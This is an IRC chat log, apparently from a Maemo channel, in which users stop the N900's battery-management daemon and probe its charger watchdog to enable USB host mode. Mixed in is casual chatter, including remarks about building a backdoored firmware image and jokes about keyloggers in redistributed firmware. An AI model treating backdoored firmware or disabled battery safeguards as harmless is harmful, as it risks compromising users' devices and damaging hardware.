| 13:09.12 | MohammadAG | LOL |
| 13:09.14 | DocScrutinizer | instant reboot |
| 13:09.18 | MohammadAG | crashanddie, try it :P |
| 13:09.48 | MohammadAG | what if bme was replaced with an echo script... |
| 13:09.53 | DocScrutinizer | <PROTECTED> |
| 13:09.55 | DocScrutinizer | <PROTECTED> |
| 13:09.56 | DocScrutinizer | <PROTECTED> |
| 13:10.01 | DocScrutinizer | dsmetool -h |
| 13:10.22 | DocScrutinizer | MohammadAG: bootloop |
| 13:10.35 | MohammadAG | even with rd-flags? |
| 13:10.43 | MohammadAG | lifeguard to be more specific |
| 13:10.49 | DocScrutinizer | so I'm told by 'the definitive authorities' |
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| 13:12.38 | DocScrutinizer | muses over bme_RX-51 712 root mem REG 254,1 7600 6481 /usr/lib/libdsme.so.0.2.0 |
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| 13:13.15 | MohammadAG | DocScrutinizer, did you try replacing it |
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| 13:13.17 | MohammadAG | ? |
| 13:13.32 | DocScrutinizer | no, Stskeeps told me it will bootloop |
| 13:13.46 | MohammadAG | oh |
| 13:13.51 | DocScrutinizer | as it was my very first idea as well :-) |
| 13:14.01 | MohammadAG | and I'm assuming it's closed... |
| 13:14.08 | DocScrutinizer | yep, like hell |
| 13:14.19 | MohammadAG | so many compilers but no decompilers |
| 13:14.21 | DocScrutinizer | c'mon it's the holy BME |
| 13:14.25 | MohammadAG | someone should make one.. |
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| 13:14.46 | MohammadAG | or reverse engineer it, but that's way too much |
| 13:15.05 | DocScrutinizer | I did a strace. -> reboot :-O |
| 13:15.10 | DocScrutinizer | LOL |
| 13:16.04 | jacekowski | MohammadAG: there are decompilers |
| 13:16.05 | DocScrutinizer | never heard strace is stopping or killing a process (except skype :-P) |
| 13:16.10 | jacekowski | MohammadAG: most of them fail |
| 13:16.21 | MohammadAG | heh |
| 13:16.22 | jacekowski | DocScrutinizer: strace does ptrace on process |
| 13:16.29 | SimonLR | What are you guys looking at? |
| 13:16.33 | jacekowski | DocScrutinizer: which pauses it for while |
| 13:16.36 | MohammadAG | bme |
| 13:16.36 | SpeedEvil | bme |
| 13:16.38 | DocScrutinizer | killing BME |
| 13:16.44 | MohammadAG | bme_RX-51 |
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| 13:17.00 | jacekowski | maybe watchdog did it |
| 13:17.14 | MohammadAG | watchdog is the root of all problems here |
| 13:17.26 | jacekowski | and watchdog can be made harmless |
| 13:17.30 | MohammadAG | disabling it should help, but DocScrutinizer doesn't want to do that |
| 13:19.07 | DocScrutinizer51 | I'd rather patch the bme binary than use R+D |
| 13:19.28 | jacekowski | besides, what are you doing? |
| 13:19.28 | MohammadAG | if it's closed how is the possible |
| 13:19.43 | MohammadAG | Host mode |
| 13:19.51 | jacekowski | LD_PRELOAD |
| 13:20.03 | jacekowski | and where is you problem with BME? |
| 13:20.18 | jacekowski | because there is many ways of doing it |
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| 13:20.27 | DocScrutinizer51 | but honestly, bme is to be started somewhere in init. Not yet checked but shouldn't be hard to spot |
| 13:20.53 | jacekowski | patch file on flash, patch image in memory, LD_PRELOAD, |
| 13:21.21 | jacekowski | gdb with some scripts attached to bme would even do the jon |
| 13:21.23 | jacekowski | job* |
| 13:21.23 | DocScrutinizer51 | jacekowski: ld_preload actually a great suggestion |
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| 13:21.59 | jacekowski | i know |
| 13:22.02 | jacekowski | i'm clever bloke |
| 13:22.11 | DocScrutinizer51 | hehe indeed |
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| 13:22.43 | MohammadAG_ | grr |
| 13:22.47 | MohammadAG_ | router crashed |
| 13:22.50 | MohammadAG_ | on 3G |
| 13:22.56 | jacekowski | shame that it's not very good pick up line for chicks |
| 13:23.18 | jacekowski | it would be cheapest one |
| 13:25.50 | Shapeshifter | notices loss prepositions and verbs around |
| 13:26.16 | GAN900 | Found an interesting issue with fMMS |
| 13:27.12 | DocScrutinizer51 | grep -r bme_RX-51 /etc |
| 13:27.43 | MohammadAG_ | jacekowskii'm clever bloke LOL |
| 13:27.55 | jacekowski | not lol |
| 13:27.57 | jacekowski | that's a fact |
| 13:28.43 | DocScrutinizer51 | /etc/event.replace.d/bme: exec /usr/sbin/bme_RX-51 |
| 13:29.28 | jacekowski | i don't think so |
| 13:29.38 | DocScrutinizer51 | eeh? |
| 13:29.58 | jacekowski | i don't think that's started from there |
| 13:30.01 | jacekowski | but let me check |
| 13:31.51 | MohammadAG_ | # reboot the device if flag file is not present (bme crashed) |
| 13:31.54 | MohammadAG_ | interesting |
| 13:32.21 | SimonLR | What's the reason you guys are discussing killing BME? |
| 13:32.28 | MohammadAG_ | Host mode |
| 13:32.38 | SpeedEvil | BME gets in the way of lots of stuff |
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| 13:32.51 | SpeedEvil | When you're doing low-level hacking |
| 13:32.54 | alterego | My girlfriend is playing on the xbox, hopefully this will give me enough time to do some serious geeking today ::) |
| 13:34.09 | jacekowski | i would personally disassemble it |
| 13:34.20 | jacekowski | into some sort of compillable C code |
| 13:34.23 | Corsac | the girlfriend? |
| 13:34.36 | alterego | Hah |
| 13:34.43 | Corsac | I'm not sure the license authorise you to disassemble your girlfriend |
| 13:34.47 | MohammadAG_ | DocScrutinizer, what if the reboot part is removed? |
| 13:34.52 | DocScrutinizer | and it insulted my girlfriend |
| 13:34.52 | Corsac | but maybe it depends under which license your gf is distributed |
| 13:35.11 | alterego | My gf is closed source :P |
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| 13:35.13 | DocScrutinizer | MohammadAG_: tell me |
| 13:35.17 | DocScrutinizer | dunno |
| 13:35.30 | SimonLR | Just rev-eng the binary |
| 13:35.38 | DocScrutinizer | My favourite would be to remove bme completely from all init stuff |
| 13:35.40 | MohammadAG_ | DocScrutinizer, tell you what lol |
| 13:35.57 | MohammadAG_ | $LOGGER -pdaemon.notice 'post-stop' |
| 13:36.02 | MohammadAG_ | it tests for that |
| 13:36.03 | DocScrutinizer | friggin embarrasing bme |
| 13:36.05 | MohammadAG_ | if it doesn't exist |
| 13:36.11 | MohammadAG_ | it reboots the device |
| 13:36.28 | DocScrutinizer | who does theat? a script, no? |
| 13:37.49 | MohammadAG_ | STOP_FLAG=/tmp/bme.was.stopped |
| 13:37.53 | MohammadAG_ | DocScrutinizer, yes |
| 13:37.59 | MohammadAG_ | the one you mentioned above |
| 13:38.16 | MohammadAG_ | apparently it also tampers with mce's engine3 |
| 13:39.13 | Shapeshifter | what's the watchdog good for exactly? |
| 13:39.27 | Shapeshifter | does it just reboot the device whenever it thinks the system isn't sane enough anymore? |
| 13:39.44 | MohammadAG_ | basically, yes |
| 13:39.49 | Shapeshifter | that's not very linux-like |
| 13:39.59 | MohammadAG_ | if an app is killed it restarts it |
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| 13:40.05 | DocScrutinizer | hmm, seems like 'stop bme' should work, no? |
| 13:40.24 | MohammadAG_ | Shapeshifter, sure, tell that to the people who can't start hildon-desktop when it crashes |
| 13:40.30 | DocScrutinizer | 59 |
| 13:40.33 | DocScrutinizer | 55 |
| 13:40.34 | Shapeshifter | MohammadAG_: sure |
| 13:40.41 | DocScrutinizer | 50 |
| 13:40.50 | Shapeshifter | 45? |
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| 13:40.58 | MohammadAG_ | hehehe |
| 13:41.01 | DocScrutinizer | :-) |
| 13:41.15 | MohammadAG_ | <PROTECTED> |
| 13:41.22 | MohammadAG_ | and.... |
| 13:41.25 | DocScrutinizer | run for shelter, spam! |
| 13:41.29 | DocScrutinizer | Nokia-N900-02-8:~# stop bme |
| 13:41.30 | MohammadAG_ | reboot? |
| 13:41.31 | DocScrutinizer | bme (stop) running, process 712 |
| 13:41.32 | DocScrutinizer | bme (stop) pre-stop, process 2312 |
| 13:41.34 | DocScrutinizer | <PROTECTED> |
| 13:41.35 | DocScrutinizer | bme (stop) stopping, process 712 |
| 13:41.37 | DocScrutinizer | bme (stop) killed, process 712 |
| 13:41.38 | DocScrutinizer | bme (stop) post-stop, process 2315 |
| 13:41.40 | DocScrutinizer | bme (stop) waiting |
| 13:41.54 | MohammadAG_ | pings DocScrutinizer51 |
| 13:42.03 | DocScrutinizer51 | hezho |
| 13:42.07 | MohammadAG_ | ooh, it still pongs |
| 13:42.09 | DocScrutinizer51 | heyho even |
| 13:42.15 | MohammadAG_ | s/it/he |
| 13:42.30 | MohammadAG_ | wait so... |
| 13:42.33 | MohammadAG_ | is bme off now? |
| 13:42.39 | DocScrutinizer | hope so |
| 13:42.41 | DocScrutinizer | -P |
| 13:43.00 | DocScrutinizer | fires a lshal, just for fun |
| 13:43.03 | MohammadAG_ | let's see you start it now! start: bme respawning too fast, stopped |
| 13:43.07 | alterego | You guys working on usb host ? |
| 13:43.18 | MohammadAG_ | credit goes to DocScrutinizer |
| 13:43.20 | DocScrutinizer | hmm |
| 13:43.37 | MohammadAG_ | start: bme respawning too fast, stopped |
| 13:43.38 | MohammadAG_ | bme (start) waiting |
| 13:43.38 | MohammadAG_ | bme (stop) starting |
| 13:43.38 | MohammadAG_ | bme (stop) waiting |
| 13:43.41 | MohammadAG_ | xD |
| 13:43.51 | SpeedEvil | alterego: yes |
| 13:44.09 | DocScrutinizer | MohammadAG_: reboot? |
| 13:44.20 | MohammadAG_ | DocScrutinizer, I'm on the N900 |
| 13:44.25 | MohammadAG_ | if it reboots I'll quit |
| 13:44.26 | DocScrutinizer | ooh |
| 13:45.12 | SpeedEvil | per-transmitted-packet checkpoints to disk would be cool. |
| 13:45.15 | MohammadAG_ | hey |
| 13:45.19 | MohammadAG_ | it isn't charging |
| 13:45.19 | SpeedEvil | ho |
| 13:45.20 | DocScrutinizer | plugs hub to N900 |
| 13:45.22 | MohammadAG_ | guess it worked! |
| 13:45.33 | SpeedEvil | MohammadAG_: After 32s, the watchdog on the charger kicks the charger off |
| 13:45.36 | SpeedEvil | ah |
| 13:45.42 | SpeedEvil | I guess you know that then |
| 13:45.58 | MohammadAG_ | :) |
| 13:46.18 | MohammadAG_ | DocScrutinizer, hub working? |
| 13:46.25 | DocScrutinizer | waaaait |
| 13:46.53 | MohammadAG_ | impatiently waits for DocScrutinizer, and the female-female adapter from DX |
| 13:47.11 | MohammadAG_ | should've paid the extra 20... |
| 13:47.15 | DocScrutinizer | hub works of course |
| 13:47.31 | MohammadAG_ | no shut off after 60s? |
| 13:47.38 | SpeedEvil | hub works - plugging shit in? |
| 13:47.39 | SpeedEvil | :) |
| 13:47.48 | SpeedEvil | I assume you just mean vusb? |
| 13:48.07 | DocScrutinizer | bme seems not to intercept |
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| 13:48.19 | DocScrutinizer | yes, of course just VBUS |
| 13:48.20 | MohammadAG_ | bme seems dead* :P |
| 13:48.37 | DocScrutinizer | yeah |
| 13:48.48 | DocScrutinizer | third period of 30s |
| 13:48.51 | DocScrutinizer | VBUS |
| 13:49.00 | MohammadAG_ | I tried stop bme_RX-51 |
| 13:49.08 | MohammadAG_ | a week or two ago |
| 13:49.22 | DocScrutinizer | next: augment this silly oneline to a decent script doing bq24150 watchdog reset |
| 13:50.12 | MohammadAG_ | gets out his shotgun and shoots the watchdog |
| 13:50.12 | SpeedEvil | Your next challenge: BME in 12 lines of sh. |
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| 13:50.49 | MohammadAG_ | so... anyone here with an N900 and doesn't care about reflashing it? |
| 13:51.13 | SimonLR | <PROTECTED> |
| 13:51.17 | DocScrutinizer | SpeedEvil: exactly :-P |
| 13:51.17 | SimonLR | oops |
| 13:51.30 | DocScrutinizer | been top of my todo for 3 weeks now X-P |
| 13:51.41 | DocScrutinizer | SimonLR: thanks |
| 13:51.42 | MohammadAG_ | guess not lol |
| 13:51.47 | SimonLR | ? |
| 13:51.50 | DocScrutinizer | was just this moment looking for it |
| 13:52.00 | SimonLR | I can read minds |
| 13:52.32 | DocScrutinizer | works |
| 13:52.43 | DocScrutinizer | (/sys/class/i2c-adapter/i2c-1/1-0048/twl4030_usb/vbus) |
| 13:53.08 | MohammadAG_ | env SYSFS_VBUS_PATH=/sys/class/i2c-adapter/i2c-1/1-0048/twl4030_usb/vbus |
| 13:53.21 | MohammadAG_ | is in /etc/event.replace.d/bme |
| 13:53.27 | DocScrutinizer | yesyes |
| 13:53.51 | MohammadAG_ | SimonLR, just saw the query, was asleep |
| 13:54.07 | SimonLR | MohammadAG_: I forget what I asked, lol |
| 13:54.20 | SimonLR | MohammadAG_: was like 2 AM. |
| 13:54.21 | MohammadAG_ | if [ $(cat $SYSFS_VBUS_PATH) -eq 1 ]; then |
| 13:54.22 | DocScrutinizer | ~nuke busybox |
| 13:54.22 | MohammadAG_ | <PROTECTED> |
| 13:54.33 | MohammadAG_ | SimonLR, 7 here |
| 13:54.36 | DocScrutinizer | +rape busybox |
| 13:54.42 | DocScrutinizer | ~rape busybox |
| 13:54.53 | DocScrutinizer | tzzzz |
| 13:54.56 | DocScrutinizer | ~die |
| 13:54.56 | infobot | ACTION takes two shots to the head and crumples to the ground, lifeless. |
| 13:55.08 | SimonLR | erm |
| 13:55.19 | SimonLR | BME uses /proc/self/oom_adj in what way? |
| 13:55.37 | DocScrutinizer | not even any idea what a friggin shit that might be |
| 13:55.59 | MohammadAG_ | what if bme was replaced with a touch /tmp/bme.was.stopped script |
| 13:56.11 | SimonLR | I assume it's OutofMemory |
| 13:56.19 | SimonLR | and uses it to terminate a specific process |
| 13:56.28 | DocScrutinizer | aah |
| 13:56.32 | DocScrutinizer | makes sense |
| 13:56.42 | DocScrutinizer | MohammadAG_: why should we do that? |
| 13:57.15 | MohammadAG_ | DocScrutinizer, if that file isn't missing it should boot properly |
| 13:57.22 | MohammadAG_ | even if bme was killed |
| 13:57.43 | DocScrutinizer | yesyes, but we can stop bme any time, quite conveniently |
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| 13:58.16 | MohammadAG_ | forgot we got past that part... |
| 13:58.33 | DocScrutinizer | so my previous intention to eliminate and put it to oblivion from all init somewhat has diminuished |
| 13:58.59 | SimonLR | Hosing BME off the system would cause other issues, no? |
| 13:59.06 | DocScrutinizer | prolly |
| 13:59.17 | SimonLR | hm |
| 13:59.32 | DocScrutinizer | I even wonder if musb_hdrc doesn't maybe need bme to work properly |
| 13:59.43 | DocScrutinizer | that's be a real PITA though |
| 13:59.48 | SimonLR | yes it does |
| 14:00.02 | SimonLR | Hold up |
| 14:00.44 | DocScrutinizer | well, /sys/class/i2c-adapter/i2c-1/1-0048/twl4030_usb/vbus seems to work with bme stopped |
| 14:01.31 | SimonLR | Is it possible to simply camp on the BME sockets and tie them up? |
| 14:01.35 | DocScrutinizer | can't see many other topics where bme might interfere with hostmode |
| 14:02.15 | DocScrutinizer | you not even have a slightest idea what those sockets are, no? |
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| 14:03.08 | SimonLR | Huh? |
| 14:05.12 | DocScrutinizer | yeeha, 62s continuous VBUS |
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| 14:08.53 | Shapeshifter | so, who was it who said that host mode was physically impossible? |
| 14:09.55 | MohammadAG_ | QGil I think |
| 14:11.02 | MohammadAG_ | I didn't spell that right did I |
| 14:11.04 | Stskeeps | otg wasnt |
| 14:11.33 | pupnik | so what have you guys gotten working on usb? |
| 14:11.44 | SimonLR | actually you know what? |
| 14:11.58 | SimonLR | BME uses OOM to do the system sanity reboots |
| 14:12.00 | MohammadAG_ | pupnik, host mode |
| 14:12.08 | MohammadAG_ | OOM? |
| 14:12.14 | DocScrutinizer | http://talk.maemo.org/showthread.php?p=649339#post649339 |
| 14:12.21 | pupnik | what device has been found to work MohammadAG_ ? |
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| 14:12.33 | MohammadAG_ | the one which doesn't already work |
| 14:12.37 | MohammadAG_ | N900 |
| 14:12.47 | pupnik | e.g. keyboard, hard drive |
| 14:12.52 | MohammadAG_ | oh |
| 14:13.04 | Shapeshifter | mugwarmer? ;) |
| 14:13.07 | MohammadAG_ | should be all, when it works |
| 14:13.10 | pupnik | i was just typing |
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| 14:13.13 | MohammadAG_ | lol Shapeshifter |
| 14:13.31 | MohammadAG_ | USB Javelins |
| 14:13.34 | Shapeshifter | MohammadAG_: DocScrutinizer made the joke ;) |
| 14:13.42 | MohammadAG_ | I know :P |
| 14:14.06 | Shapeshifter | so why do you have to keep doing that every 28 seconds? |
| 14:14.08 | MohammadAG_ | I remember stuff said on the IRC more the irl |
| 14:14.09 | DocScrutinizer | wonders if he should 'start bme' now |
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| 14:14.20 | MohammadAG_ | Shapeshifter, stopping bme works |
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| 14:14.28 | MohammadAG_ | <DocScrutinizer> yeeha, 62s continuous VBUS |
| 14:14.45 | DocScrutinizer | "infinite" VBUS: |
| 14:14.49 | Shapeshifter | MohammadAG_: no, I was asking - DocScrutinizer - why the 28 seconds? |
| 14:14.51 | MohammadAG_ | last I checked 28 wasn't a factor of 62 |
| 14:15.06 | DocScrutinizer | safety headroom |
| 14:15.30 | MohammadAG_ | i would've appreciated a tracking number for the adapter... |
| 14:15.43 | Shapeshifter | mh? but, you do it every 28 seconds. Why? I know almost nothing about this. does something happen at 30 or what? |
| 14:15.44 | DocScrutinizer | tracking number?? |
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| 14:16.12 | DocScrutinizer | Shapeshifter: watchdog in bq24150 expires after 32 sec |
| 14:16.18 | Shapeshifter | DocScrutinizer: ah |
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| 14:16.53 | MohammadAG_ | DocScrutinizer, to track where it is |
| 14:16.58 | MohammadAG_ | it was shipped a week ago |
| 14:17.24 | DocScrutinizer | adapterrrrrrr aah |
| 14:17.54 | DocScrutinizer | sudo bring me breakfast |
| 14:18.09 | DocScrutinizer | hmm, doesn't work |
| 14:18.11 | MohammadAG_ | lol |
| 14:18.13 | DocScrutinizer | waves |
| 14:18.30 | MohammadAG_ | wouldn't your stomach need to be root to digest it? |
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| 14:19.59 | SimonLR | the mouth daemon chowns it |
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| 14:21.35 | alterego | I was thinking of removing the firmware update for the cellmo from the leaked FW |
| 14:21.45 | alterego | So I can poke about with the release. |
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| 14:23.09 | SimonLR | Just flash rootfs. |
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| 14:23.28 | alterego | Surely the firmware is in the rootfs .. |
| 14:24.13 | MohammadAG__ | so? |
| 14:24.23 | SimonLR | Unpack the FIASCO image. |
| 14:24.32 | SimonLR | it's CMT-MCUSW |
| 14:24.41 | MohammadAG__ | oh, modem firmware |
| 14:24.51 | MohammadAG__ | 2101 for the N900 btw |
| 14:24.53 | GAN900 | alterego, also: strip the keylogger |
| 14:25.09 | SimonLR | GAN900: continue... |
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| 14:25.55 | alterego | GAN900: I don't mind the keylogger, I'm just going to add the rick roll on startup and distribute it on some chinese torrent site with an incremented version number ;) |
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| 14:26.36 | GAN900 | Ha |
| 14:26.42 | SimonLR | I built a backdoor'd 1.2 image a few weeks ago, just to see if it worked. |
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| 14:27.40 | SimonLR | then I got asked for an Android ROM with a backdoor in it. |
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| 14:30.47 | SpeedEvil | !logs |
| 14:30.57 | SpeedEvil | ~logs |
| 14:30.57 | infobot | All conversations are logged to http://ibot.rikers.org/channel, where "channel" is replaced by the URL-encoded channel name, such as %23freenode for #freenode. Lines starting with spaces are not logged. logs are updated daily |
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| 14:31.13 | SpeedEvil | Well - that's helpful... |
| 14:31.21 | MohammadAG | /topic |
| 14:31.24 | SpeedEvil | points at broken URL |
| 14:31.47 | DocScrutinizer | WFM |
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| 14:32.52 | DocScrutinizer | http://mg.pov.lt/maemo-irclog |
| 14:33.05 | ManoftheSea | woo! just replaced my TV remote. |
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| 14:33.43 | MohammadAG | realizes that refreshing the DX won't make the package arrive faster |
| 14:33.47 | ManoftheSea | qtirreco |
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| 14:35.46 | Shapeshifter | how can I list all packages installed? |
| 14:35.54 | SimonLR | MohammadAG: DX takes forever |
| 14:35.56 | SimonLR | Shapeshifter: dpkg -l |
| 14:36.05 | Shapeshifter | SimonLR: thanks |
| 14:36.08 | MohammadAG | shrugs |
| 14:36.30 | ossipena | hey MohammadAG, I just pushed Vertsms to git that has storing the message to conversations implemented |
| 14:36.37 | MohammadAG | SpeedEvil told me it takes 1 week |
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| 14:36.48 | SpeedEvil | MohammadAG: I don't think I did |
| 14:36.53 | MohammadAG | i'll take that as push it as 0.3? :P |
| 14:36.58 | SpeedEvil | MohammadAG: It takes 2-3 |
| 14:37.00 | MohammadAG | err 2 weeks sorry |
| 14:37.09 | SimonLR | MohammadAG: Takes 1 week for them to even get the damn order |
| 14:37.14 | SimonLR | Then 2 weeks to process and ship it |
| 14:37.29 | SimonLR | But hey, you can't really complain for the cost. |
| 14:37.51 | ossipena | MohammadAG, yes please. I am a bit unsure about the functionality (direct fiddling with db instead of official api) |
| 14:38.14 | MohammadAG | ossipena, screw the API, just ask DocScrutinizer and his experience with bme |
| 14:38.17 | ossipena | works for me but I want to get it tested better... |
| 14:38.29 | SimonLR | ossipena: does it backup el.db? |
| 14:38.31 | DocScrutinizer | wo summoned me? |
| 14:38.44 | ossipena | simonlr, nope |
| 14:39.08 | SimonLR | ossipena; are you modifying it directly, or making clone changes? |
| 14:39.14 | ossipena | directly |
| 14:39.30 | SimonLR | I hope you don't run into corruption issues with write times |
| 14:39.44 | DocScrutinizer | gnah, breakfast calling |
| 14:39.49 | ossipena | should I make a backup every time before writing? |
| 14:39.53 | SimonLR | No |
| 14:39.56 | alterego | Would be better to use rtcomm? Rather than updating el.db directly .. |
| 14:40.08 | SimonLR | Ideally yes, but it's lame as fuck |
| 14:40.17 | SimonLR | You should clone it, make changes to the clone file |
| 14:40.27 | SimonLR | Have a sanity check with sqlite3 and then commit them |
| 14:40.40 | ossipena | do you have good examples how to do that? |
| 14:40.50 | alterego | Still think talking to rtcomm would be better ... |
| 14:40.54 | SimonLR | Unfortunately not :( |
| 14:41.13 | alterego | I thought sqlite3 was thread safe anyway .. |
| 14:41.14 | SimonLR | It would definitely be better, but you know it's a shit ton harder |
| 14:41.23 | ossipena | alterego, probably yes if there was some sense using it |
| 14:42.14 | MohammadAG | ossipena, where is the db stored? |
| 14:42.30 | DocScrutinizer51 | coughs on 'DBMS threadsafe' - points to commit/rollback |
| 14:42.49 | ossipena | /home/user/.rtcom-eventlogger/el.db |
| 14:43.55 | MohammadAG | hmm |
| 14:43.59 | MohammadAG | 13.9MBs |
| 14:44.13 | MohammadAG | would be hard/time consuming to backup and write to it each time |
| 14:44.22 | SimonLR | Don't need to do it each time |
| 14:44.37 | alterego | There's some really cool things happening in the community now, usb host seems to be looking quite possible, vert sms, though I'll probably not use that personally. |
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| 14:44.50 | alterego | I kinda want to work on something myself, but not sure what to do really. |
| 14:44.53 | alterego | Something based on Qt |
| 14:45.11 | SimonLR | write a backend service for search |
| 14:45.25 | frals | ossipena: should probably use the rtcom-el api as you'd get a shitstorm over you if the database got corrupted ;-) |
| 14:46.00 | alterego | frals: exactly what I've been saying ;) do youuse it for fMMS? |
| 14:46.02 | MohammadAG | i'll help to contribute with what frals warned you about |
| 14:46.34 | frals | alterego: nope, using my own db |
| 14:47.03 | alterego | There is MMS integration in rtcomm .. |
| 14:47.07 | MohammadAG | *** System restart required *** |
| 14:47.20 | MohammadAG | alterego, yeah told him about it |
| 14:47.39 | alterego | :) |
| 14:47.59 | MohammadAG | ossipena, got a link to the gitorous repo? |
| 14:48.16 | hemi770 | frals: thanks, the debian arm package for net-tools provides a working arp command |
| 14:48.32 | hemi770 | lenny |
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| 14:48.40 | ossipena | http://gitorious.org/vertsms/ |
| 14:49.05 | MohammadAG | thanks :) |
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| 14:50.56 | pupnik | cmong lets get this libqt4-core fixed |
| 14:51.18 | alterego | pupnik: what's wrong with it? |
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| 14:51.57 | freesamael | hello, everyone |
| 14:52.17 | adeus | hello |
| 14:52.30 | freesamael | i noticed that my n900 is quite hot with 3G, is there anyway to monitor the temperature? |
| 14:52.46 | MohammadAG | ossipena, changelog? |
| 14:52.56 | MohammadAG | other than db |
| 14:53.00 | alterego | freesamael: mine gets like that too, it's not too hot. |
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| 14:53.27 | TomaszD | freesamael, I wouldn't worry about it, it's normal, as long as you don't overclock, put a stress test on and hide the n900 under a pillow, it should be ok |
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| 14:53.49 | SimonLR | freesamael: there's a crude kernel module for battery temps |
| 14:53.59 | ossipena | mohammadag, nothing else. well, backspace improvement code that is commented |
| 14:54.42 | freesamael | it used to be ok, but the summer's coming, the temperature in my room now is about 28 degree |
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| 14:55.18 | freesamael | so n900 seems hot when it's in high loading or with 3G, is that ok? |
| 14:56.02 | freesamael | because here in taiwan the highest temp in summer is about 38 degree... :( |
| 14:57.22 | SimonLR | freesamael: I've had mine up to 50deg. No bother. |
| 14:57.31 | freesamael | wow |
| 14:59.35 | DocScrutinizer51 | LOOOL |
| 14:59.46 | DocScrutinizer51 | attach charger |
| 14:59.53 | DocScrutinizer51 | stop bme |
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| 15:00.51 | DocScrutinizer51 | watch bq24150 resetting to default charging mode after 32s, lighting up hardwired amber charge indicator |
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| 15:02.09 | Stskeeps | dangerous or not? :P |
| 15:02.12 | DocScrutinizer51 | SpeedEvil: what's up with your soldering iron? |
| 15:02.36 | DocScrutinizer51 | Stskeeps: I dare to take bets nothing bad will happen |
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| 15:02.53 | Stskeeps | (was just curious) |
| 15:03.07 | DocScrutinizer51 | Stskeeps: see, bq24150 has quite conservative sane defaults |
| 15:03.17 | MohammadAG | flashes a corrupt bootloader and blames DocScrutinizer51 for the brick |
| 15:04.01 | DocScrutinizer51 | MohammadAG: send the brick to me, you'll get recompensated evetually |
| 15:06.31 | MohammadAG | lol |
| 15:06.51 | Stskeeps | no ability to flash a corrupt bootloader, they're signed :P |
| 15:06.53 | Stskeeps | afaik |
| 15:07.06 | Stskeeps | (depending on where the check is) |
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| 15:07.39 | DocScrutinizer51 | Stskeeps: there's always JTAG |
| 15:07.55 | SimonLR | omap3430 is unbrickable anyways |
| 15:07.59 | SimonLR | 34xx |
| 15:08.33 | Stskeeps | DocScrutinizer51: i don't personally have jtag |
| 15:08.46 | jacekowski | SimonLR: explain |
| 15:09.35 | DocScrutinizer51 | touches his neck, forehead, other parts of his body |
| 15:09.51 | DocScrutinizer51 | me neither obviouslz :-P |
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| 15:11.09 | SimonLR | jacekowski: serial and JTAG make it essentially unbrickable by SW |
| 15:11.39 | jacekowski | you can disabl jtag |
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| 15:12.54 | DocScrutinizer51 | ugh, jtag blowfuse? |
| 15:13.22 | SimonLR | jacekowski: from software? |
| 15:14.25 | jacekowski | N900 battery isn' good enough to survive wait time at a&e |
| 15:14.35 | jacekowski | shame |
| 15:15.12 | pupnik | weirdos :) |
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| 15:16.10 | DocScrutinizer51 | a&e?? |
| 15:16.50 | jacekowski | british version of er |
| 15:17.02 | jacekowski | accident & emergency |
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| 15:18.09 | jacekowski | bbl |
| 15:18.15 | DocScrutinizer51 | wtf? not enough power for the defibrilator, or what? |
| 15:19.10 | SimonLR | haha |
| 15:19.20 | SimonLR | jacekowski: I always keep a spare in my wallet. |
| 15:19.44 | SpeedEvil | DocScrutinizer: It doesn't produce heat. I am unsure if this is the iron, or the controller - the iron shows one 12R resistance on it - which is around right for a 50W iron on DC |
| 15:19.56 | SpeedEvil | DocScrutinizer: I simply have not got up the energy to fix it. |
| 15:20.48 | DocScrutinizer51 | we'd need decent honest figures for the shunt |
| 15:21.08 | SpeedEvil | Why? |
| 15:21.18 | SpeedEvil | I mean - I see the point in the abstract. |
| 15:21.26 | DocScrutinizer51 | for freeBME |
| 15:21.46 | SpeedEvil | But - given that everything reads out in terms of the shunt resistance, and that 20mR seems to work - why not? |
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| 15:21.57 | SpeedEvil | Just don't exceed the limits BME does, and you're fine |
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| 15:22.21 | DocScrutinizer51 | yesyes |
| 15:22.26 | DocScrutinizer51 | anyway |
| 15:22.27 | RST38h | yawns |
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| 15:26.13 | SpeedEvil | Impressive. Searching my logs, I find a maximum charging current of 11.6A. |
| 15:26.19 | SpeedEvil | suspects a bogon. |
| 15:26.33 | SpeedEvil | (reading the bq*'s module output) |
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| 15:27.10 | MohammadAG | wonders why his cpu is @ 100 |
| 15:27.41 | SimonLR | I'm in your machine. Fork bombing your shit. |
| 15:28.16 | MohammadAG | lol |
| 15:28.19 | RST38h | "The Pentagon, not usually known for its frugality, is pleading with Congress to stop spending so much money on the troops." |
| 15:28.25 | MohammadAG | looks like xchat... |
| 15:28.28 | MohammadAG | sec restarting it |
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| 15:33.28 | RST38h | Mhm installer written in Java fails |
| 15:34.36 | RST38h | Probably wrong version of the JVM =( |
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| 15:45.39 | DocScrutinizer | SpeedEvil: (bogon) interference with bme, on I2C bus |
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| 15:45.55 | lcuk | frals, 200k! |
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| 15:47.54 | SpeedEvil | DocScrutinizer: hmm - suppose so |
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| 16:03.07 | jatt | hi, how can I fix this: dpkg --purge remove dropbear |
| 16:03.07 | jatt | rmdir: unrecognized option `--ignore-fail-on-non-empty' |
| 16:03.07 | jatt | <PROTECTED> |
| 16:03.07 | jatt | Linux Nokia-N900-51-1 2.6.28-omap1 #1 PREEMPT Thu Dec 17 09:40:52 EET 2009 armv7l unknown |
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| 16:20.58 | SimonLR | jatt: modify the post-removal script would be my option |
| 16:21.35 | SimonLR | jatt: or clone rmdir and parse out the argument. I'd contact whoever maintains the dropbear package. |
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| 16:29.21 | jatt | thanks, another question, is gcc available for the n900? I would like to compile a small program on it |
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| 16:31.05 | crashanddie | I wonder if Google would have been able to answer that? |
| 16:31.13 | crashanddie | jatt: yes, gcc is available on the N900 |
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| 16:31.43 | crashanddie | jatt: You can add the sdk/tools repository to the N900, and then use apt-get to install build-essential |
| 16:31.57 | petteri | are they optified? |
| 16:32.01 | crashanddie | nope |
| 16:32.07 | petteri | ok :/ |
| 16:36.10 | crashanddie | any other questions? |
| 16:36.13 | crashanddie | C'mon, bring it on |
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| 16:36.54 | lcuk | petteri, download the source for them, make patches, add a bug report and append them to it |
| 16:37.00 | lcuk | ill try and see what can be done |
| 16:37.54 | petteri | lcuk: i'll manage with the sdk. I was just wondering |
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| 16:45.38 | GAN900 | crashanddie, get a job? :P |
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| 16:46.40 | frals | lcuk: yeah, pretty cool :> |
| 16:49.34 | crashanddie | GAN900: not yet |
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| 16:56.27 | DocScrutinizer51 | now egoshin is starting to act funny :-P "WARNING WARNING" aiui the whole thread doesn't contain a single explicit method to mess with TWL4030 - except of course egoshin's modded kernels themselves |
| 16:56.47 | BCMM | till-: are you Till Harbaum, the Maep developer? |
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| 17:01.57 | MohammadAG | DocScrutinizer, did the other me quit? |
